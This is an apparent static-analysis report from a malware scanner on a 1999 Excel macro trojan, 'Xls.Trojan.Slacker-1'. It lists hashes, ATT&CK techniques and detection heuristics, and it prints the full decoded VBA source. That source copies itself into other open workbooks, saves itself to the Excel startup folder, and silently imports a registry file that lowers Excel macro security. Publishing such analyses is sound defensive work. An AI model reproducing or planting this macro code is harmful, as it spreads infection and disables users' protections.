Xls.Trojan.Slacker-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 24a810b1a00c6bfb…

MALICIOUS

Office (OLE)

26.0 KB Created: 1999-06-20 14:00:18 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 4aee70aaf8300ec7dad7b977f1a4af0a SHA-1: 0622819626ae75962a95067b55b5b0ed2fb4741c SHA-256: 24a810b1a00c6bfb45f76a34b6e632aecc7e81dfc4d2048d8dabc2674df105e0
200 Risk Score

Malware Insights

Xls.Trojan.Slacker-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The VBA macro contains a Shell() call and attempts to create a registry file 'c:\hybrid.reg' to establish persistence via 'regedit /s c:\hybrid.reg'. The macro also displays a message box with a critical title and message. The ClamAV detection name 'Xls.Trojan.Slacker-1' suggests this is a known trojan.

Heuristics 3

  • ClamAV: Xls.Trojan.Slacker-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Slacker-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2050 bytes
SHA-256: beaa663bfd250ba3d62b1e3348e72c23bbe2f974a7f1a907b32b12f8f718b929
Detection
ClamAV: Xls.Trojan.Slacker-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Deactivate()
'hybrid
On Error Resume Next
Set aw = ActiveWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
Set tw = ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
If aw.Lines(2, 1) <> "'hybrid" Then
aw.deletelines 1, aw.countoflines
aw.insertlines 1, tw.Lines(1, tw.countoflines)
End If
If UCase(Dir(Application.StartupPath + "\Book1.")) <> "BOOK1" Then
ActiveWorkbook.SaveAs Excel.Application.StartupPath & "\Book1."
Open "c:\hybrid.reg" For Output As 1
Print #1, "REGEDIT4"
Print #1, "[HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel]"
Print #1, """Options6""=dword:00000000"
Print #1, "[HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Excel\Security]"
Print #1, """Level""=dword:00000001"
Close 1
Shell "regedit /s c:\hybrid.reg", vbHide
End If
If (Day(Now)) = (Minute(Now)) Then
MsgBox "Repent!,Quit your Jobs!!,Slack off!!!", vbCritical, Title:="97 <-> 2000 Hybrid v1.0a Bob is Watching"
End If
End Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.